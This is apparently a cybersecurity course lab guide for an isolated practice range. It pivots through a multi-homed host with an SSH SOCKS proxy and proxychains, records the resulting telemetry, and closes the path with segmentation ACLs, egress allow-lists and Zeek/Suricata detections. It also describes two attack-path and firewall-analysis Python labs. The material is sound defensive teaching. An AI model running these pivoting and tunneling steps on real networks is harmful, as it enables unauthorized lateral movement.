 [operator]───(edge segment)───[ PIVOT (multi-homed) ]───(internal segment)───[fileserver] [db]
      │                                  │                                          │
      └──────────────── span/mirror to [detection: Zeek + Suricata + netflow] ──────┘

Hard preconditions (Phase 00):

• The range is isolated — no bridge to home, corporate, or public networks. The "internet" zone is a fake/owned sink, never the real internet.
• Snapshot every host before the run; you will revert after.
• No real credentials, customer data, or personal data in any host, capture, or screenshot.
• The deconfliction contact and stop conditions are written into the run sheet before step 2.
• The only reachability you exercise is between owned range hosts.

Verify the sensor is collecting before you attack. Generate a benign marker and confirm it lands:

operator → make one ordinary connection to the pivot (e.g. a single SSH/HTTP request)
detection → confirm Zeek conn.log has that connection and the netflow collector recorded the flow

If the marker does not appear, fix collection first. A blind sensor produces a false "no detection."

2. Map the topology (and plan it with Lab 01 first)

Plan before you touch anything. Express the range as a Lab-01 graph and compute, on paper / in the planner, the reachable set from the operator box, the cheapest path to the db, and the choke point. For this range the choke point is obvious — the multi-homed pivot is the only edge into the internal segment — and that is exactly the point: the planner predicts what you are about to demonstrate.

# Lab-01 model of the range (synthetic — this is planning, not scanning):
g = Graph.of([
    Edge("operator", "pivot",      cost=1, via="ssh-foothold"),
    Edge("pivot",    "fileserver", cost=2, via="socks-proxy"),
    Edge("pivot",    "db",         cost=2, via="socks-proxy"),
])
reachable(g, "operator")            # {operator, pivot, fileserver, db}
shortest_path(g, "operator", "db")  # (('operator','pivot','db'), 3)
choke_points(g, "operator", "db")   # ('pivot',)  ← the host you will segment in step 5

Then confirm reachability on the range — within scope. From the operator box, an authorized reachability check (a narrow port probe to the owned pivot only) confirms the operator → pivot edge. You do not scan beyond scope; the internal segment is confirmed through the pivot in the next step, which is the whole demonstration.

Expected observation: the reachability check itself shows up in netflow as a small fan-out from the operator box. Note it — this is the scan-detection signal from WARMUP Chapter 5, in miniature.

3. Establish the pivot and a SOCKS proxy

On the owned pivot host, with a foothold you legitimately have (your own SSH key on your own box), stand up a dynamic SOCKS proxy so the operator box inherits the pivot's edges. The canonical, no-extra-tooling way is SSH dynamic forwarding from the operator box:

# On the operator box — dynamic (SOCKS) forward THROUGH the owned pivot:
ssh -D 1080 -N youruser@pivot        # 1080 is now a local SOCKS proxy routed via the pivot
# Now route a tool through it (authorized internal targets only):
proxychains4 curl http://fileserver/   # the connection originates from the PIVOT, not the operator box

What just happened, in graph terms: the operator box now has the pivot's outgoing edges (pivot → fileserver, pivot → db) — exactly the Lab-01 model. (chisel or ligolo-ng would build the same reachability over an HTTP/TUN channel when SSH is not available; the reachability is identical, which is why Lab 01 models the edge, not the tool.)

Stay in scope. Only ever proxy to owned internal hosts. The pivot's purpose here is to generate telemetry you can study, not to reach anything new.

4. Observe the telemetry the pivot generates

This is the heart of the exercise: a pivot is loud if you know the shape. Drive a little traffic through the SOCKS proxy (a few requests to the owned fileserver and db) and then go read what the sensor recorded.

In netflow / Zeek conn.log, expect:

• The pivot becomes a connection hub — it now initiates connections to multiple internal peers it did not talk to before. East-west fan-out from one host. (WARMUP Ch. 6/7.)
• A long-lived connection from the operator box to the pivot — the tunnel itself — unlike normal short request/response flows.
• Multiplexing — many logical streams over the one tunnel; the byte/timing profile of that single connection looks unlike a normal application.

# conn.log (sketch): note the long duration on the tunnel and the new pivot→internal flows
ts       orig_h     resp_h      proto duration  bytes   note
...      operator   pivot       tcp   1380.4    big     ← the persistent SOCKS tunnel (long-lived)
...      pivot      fileserver  tcp   0.9       small   ← NEW east-west flow (pivot is now a hub)
...      pivot      db          tcp   1.2       small   ← NEW east-west flow

If you also exercise DNS through the pivot (resolve names via the pivot's resolver), watch dns.log: even a small amount of name resolution through a new path is visible, and if you (on the range, for teaching) encode data into query names, the entropy and unique-subdomain count spike — the DNS-tunnel signal from WARMUP Chapter 2.

Expected observations to record in the evidence packet: the long-lived tunnel flow, the new east-west fan-out from the pivot, and (if exercised) the DNS query-rate/entropy. These are the detections you are about to make fire.

5. Break it: segmentation ACL + egress allow-list

Now play defender. The choke point from step 2 is the pivot; the control is to segment so the operator/edge segment cannot use the pivot as a gateway, and to deny-by-default egress so a beacon has nowhere to go. Model the policy in Lab 02 first, then enforce it on the range.

Lab-02 model of the fix:

# The lateral path the pivot enabled, as flows:
path = [Flow("operator", "pivot", 22), Flow("pivot", "db", 5432)]

# Before: a loose ruleset permits the whole path (the attacker walks it):
loose = [Rule("any", "any", "any")]
blocks_path(path, loose)        # False  ← nothing is stopped

# After: deny-by-default + only the designed flows; the pivot→db hop is no longer allowed:
tight = [
    Rule("operator", "pivot", 22),         # operator may admin the pivot on ssh
    Rule("dmz",      "internet", 443),     # the pivot's only egress: https via the proxy
    # (no pivot→internal allow; no broad egress)
]
blocks_path(path, tight)        # True   ← the second hop (pivot→db) is denied
first_blocked_hop(path, tight)  # 1      ← exactly where the segmentation bites
over_permissive(loose)          # flags the any-any rule
egress_findings([Rule("dmz","internet","any")])  # recommends pinning egress to 443/80/53 via proxy

Enforce it on the range. Apply the equivalent ACL on the segment firewall / the pivot's host firewall: deny the pivot → internal segment, and deny-by-default egress except tcp/443,tcp/80, udp/53 to the (owned, logged) proxy/resolver. Then re-probe to prove effective state, not intended config:

operator → re-run `proxychains4 curl http://db/` through the pivot
expected → the pivot→db hop is now denied; the request fails; the denied flow is logged
operator → confirm the DESIGNED flow still works (regression: operator→pivot:22 still succeeds)

If the path still works, your rule is shadowed (an earlier any-any allow) — fix the ordering and re-probe. Intended config is not effective config (WARMUP Ch. 8).

6. Write the detection (Zeek / Suricata)

The control breaks this pivot; the detection catches the next one. Write detections on the shape you observed in step 4, not on a throwaway indicator.

Zeek (behavioral — the pivot's fan-out and the long-lived tunnel):

# notice on a host that becomes an east-west connection hub (pivot fan-out):
#   count distinct internal resp_h per orig_h per window; alert above a baseline threshold.
# notice on an unusually long-lived connection to/from an edge host (the tunnel itself):
#   alert on conn.log duration >> the host's normal connection duration.
# (Zeek's scan-detection + a small connection-fan-out script cover both.)

Suricata (signatures — odd-port egress / known tooling):

alert tcp $HOME_NET any -> $EXTERNAL_NET ![80,443,53] (msg:"Possible C2: egress on non-standard port";
    flow:to_server,established; threshold:type both, track by_src, count 5, seconds 60; sid:1000001;)

DNS (entropy/volume — if you exercised the DNS path): alert on per-host query rate to one zone, high mean label entropy, and high unique-subdomain count from dns.log (WARMUP Ch. 2/10).

Prove the detection fires. Re-run the pivot (before re-applying the block, or on a fresh snapshot) and confirm the Zeek notice / Suricata alert / DNS-entropy threshold triggers on the recorded telemetry. A detection you have not seen fire is a hypothesis, not a detection.

7. Evidence packet and teardown

Evidence packet (sanitized, owned-range only):

• The Lab-01 pivot map: reachable set, cheapest path, choke point.
• The step-4 telemetry: the conn.log lines (long-lived tunnel + east-west fan-out) and any dns.log entropy figures — observation separated from inference.
• The Lab-02 policy: the over-permissive findings, the tightened ruleset, and the blocks_path / re-probe proof that the path is closed and the designed flow still works.
• The Zeek/Suricata detection and a screenshot/log of it firing.
• Hash every artifact at collection; record source, time, collector, timezone, and any transformation.

Teardown:

• Revert every host to its pre-run snapshot.
• Tear down the SOCKS tunnel and remove the temporary host-firewall rules (or keep the good ones as the durable control — that is the point of leaving a detection behind).
• Confirm no range host can reach anything outside the isolated range.
• Record teardown completion in the run sheet.

8. Common false claims (and the truthful version)

This guide stays on the owned range and pairs every offensive step with its detection. The runnable labs (Lab 01, Lab 02) reason over synthetic metadata only — they plan and analyze the pivot and the segmentation; they never scan, tunnel through, or touch a host you do not own.

Lab 01 — Pivot / Attack-Path Planner

Lens: Lateral movement and pivoting as reachability over a graph. WARMUP: Chapter 7 (pivoting & tunneling), Chapter 8 (segmentation). ATT&CK: Lateral Movement (TA0008) — Remote Services (T1021), Internal Proxy (T1090.001); Discovery — Remote System Discovery (T1018), Network Service Discovery (T1046).

The problem

One foothold is rarely the objective. After landing behind Meridian's field-office VPN, the operator must answer three questions, and so must the defender:

1. Blast radius — from this foothold, what can I touch? (Which hosts are reachable at all.)
2. The quietest route — what is the cheapest path to the crown jewel? Not the fewest hops, but the path with the least detection-risk + effort. A noisy SMB-admin hop over a monitored segment "costs" more than a quiet allow-listed SSH tunnel.
3. The choke point — which single host, if cut, disconnects the foothold from the target? This is the defender's highest-leverage segmentation control.

A pivot — a SOCKS proxy through a multi-homed jump host, a port-forward, a chisel/ligolo tunnel — is nothing more than adding an edge to this reachability graph. Pivoting is graph traversal; the attacker runs a search to find the path, and the defender runs the same search to find the cut. That equivalence is the whole lab.

What you build (lab.py)

Hosts are nodes; a directed edge A -> B (an Edge(src, dst, cost, via)) means an attacker on A can reach B because they are network-adjacent and the attacker holds the credential/route (via) that enables the hop. cost models detection-risk + effort.

• reachable(graph, start, exclude=None) — BFS the blast radius from a foothold (optionally treating one host as removed — the defender's "what if I cut this?" probe).
• reaches / reachable_targets — which crown jewels the foothold reaches.
• shortest_path(graph, start, target, exclude=None) — Dijkstra over per-edge cost; returns (path, total_cost) — the cheapest (quietest) pivot route, deterministically.
• choke_points(graph, start, target) — the hosts whose removal disconnects start from target (articulation points / dominators via node-removal min-cut) — the segmentation cuts that matter.

Attack cases the tests cover

• From the VPN foothold, the operator reaches the jump host, file server, app server, ERP database, and the domain controller — but not a disconnected island segment.
• shortest_path picks the cheapest, not the shortest-hop route to the ERP database (via the file server, cost 5) over the noisier app-server route (cost 9), even though both are three hops.
• The only route to the DC runs through the app server, so choke_points(..., "dc") returns both jumphost and appserver; the ERP database has a second path, so appserver is not a choke for it — only jumphost is.
• Removing the jump host isolates the foothold entirely (reachable == {vpn}).
• Unreachable target → None path / no choke points; output is fully deterministic.

Run

pip install -r requirements.txt
cd <this dir>
LAB_MODULE=solution pytest -q   # reference passes (17 tests)
pytest -q                        # your implementation after the TODOs
# fallback interpreter:
# LAB_MODULE=solution /Users/s0x/src/10xdev/ai-enigneer/.venv/bin/python -m pytest -q

Hardening / detection

The choke point is the detection-and-control deliverable. Each one maps to a concrete defense:

• Segment the choke host (the jump host) into its own zone with deny-by-default ACLs — Lab 02 turns that into the firewall rule and proves the path breaks.
• Kill the enabling via: a reused-local-admin edge argues for LAPS (unique local-admin passwords); a stored-db-cred edge argues for a secrets vault and short-lived credentials.
• Instrument the cheapest path: the quiet route is the one most likely to be taken, so put the netflow/Zeek sensor there. A pivot through a jump host shows up as an east-west netflow fan-out and (for a SOCKS proxy) many short connections multiplexed from one source — see WARMUP Ch. 7 & 10.

Extensions

• Add per-target weighting: rank choke points by how many crown jewels each one cuts.
• Compute true dominators (Lengauer–Tarjan) instead of node-removal, for large graphs.
• Model credential nodes explicitly so a shared password becomes a visible single point of failure.
• (Owned range only) Import a real BloodHound or network-graph export and run the same analysis.
• Multi-language build spec: reimplement reachable + Dijkstra in Rust (petgraph) or Go as a CLI that reads a JSON graph — a fast, dependency-light pivot planner for the toolkit.

Interview / resume

"Built a pivot / attack-path planner that models lateral movement as reachability over a host graph — computing the blast radius from a foothold (BFS), the quietest route to a target (Dijkstra over a per-edge detection-risk cost), and the choke points a defender cuts (node-removal min-cut) — demonstrating that the attacker's path-finder and the defender's segmentation-planner are one algorithm."

Limitations: directed graph with non-negative integer edge costs; choke points are found by single-node removal (an articulation/dominator approximation, not minimum multi-node cuts); synthetic graph only — no live network is touched.

Lab 02 — Segmentation & Egress-Filtering Analyzer

Lens: A firewall ruleset is a policy over a graph of zones. WARMUP: Chapter 8 (segmentation), Chapter 9 (egress filtering & allow-listing), Chapter 10 (the telemetry that catches what gets through). ATT&CK: Command and Control — Application-Layer Protocol (T1071), Non-Standard Port (T1571), Protocol Tunneling (T1572); Exfiltration Over C2 Channel (T1041).

The problem

Lab 01 found the lateral path. This lab decides whether the segmentation policy stops it — and audits the ruleset for the holes that let a beacon out. Two roles ask the same questions of one ruleset:

• The firewall decides every flow: deny-by-default, first-match-wins.
• The auditor (red or blue) asks: which rules are too broad? Does this policy block that lateral path? What egress allow-list should replace the sloppy internet rules?

The dangerous rules are predictable: an any-any allow, and broad egress to the internet on a non-standard port — the classic command-and-control / exfiltration channel. An egress allow-list that pins outbound traffic to the standard ports through a proxy is the control that closes it.

What you build (lab.py)

A Rule(src_zone, dst_zone, port, proto, action) is one firewall line (port is an int or "any"). A Flow(src_zone, dst_zone, port, proto) is a packet's worth of metadata.

• flow_permitted(flow, rules) — deny-by-default, first-match-wins evaluation.
• over_permissive(rules) — flag any-any allows, broad-egress (internet on a non-standard/wildcard port — possible C2), and wildcard-port allows; returns {index, rule, reason} findings.
• blocks_path(path, rules) — does the ruleset block a lateral path? A path is blocked iff any one hop is denied — one closed door stops the chain. (first_blocked_hop says where.)
• egress_findings(rules) — egress-allow-list recommendations: for each over-permissive internet rule, a tightened replacement and the reason.

Attack cases the tests cover

• Deny-by-default: a flow that matches no rule is denied; an empty ruleset denies everything.
• First-match-wins: an explicit vpn->server:1521 deny beats a later allow.
• Audit: any-any is flagged; user->internet:4444 and dmz->internet:any are flagged as broad-egress; legitimate server->internet:443 and specific user->server:445 are not.
• Path composition: the segmented policy permits the designed vpn->dmz->server path (Lab 01's pivot) but blocks the direct vpn->server:1521 shortcut; removing the dmz->server allow breaks the designed path at hop index 1.
• Clean rulesets produce no findings; all output is deterministic.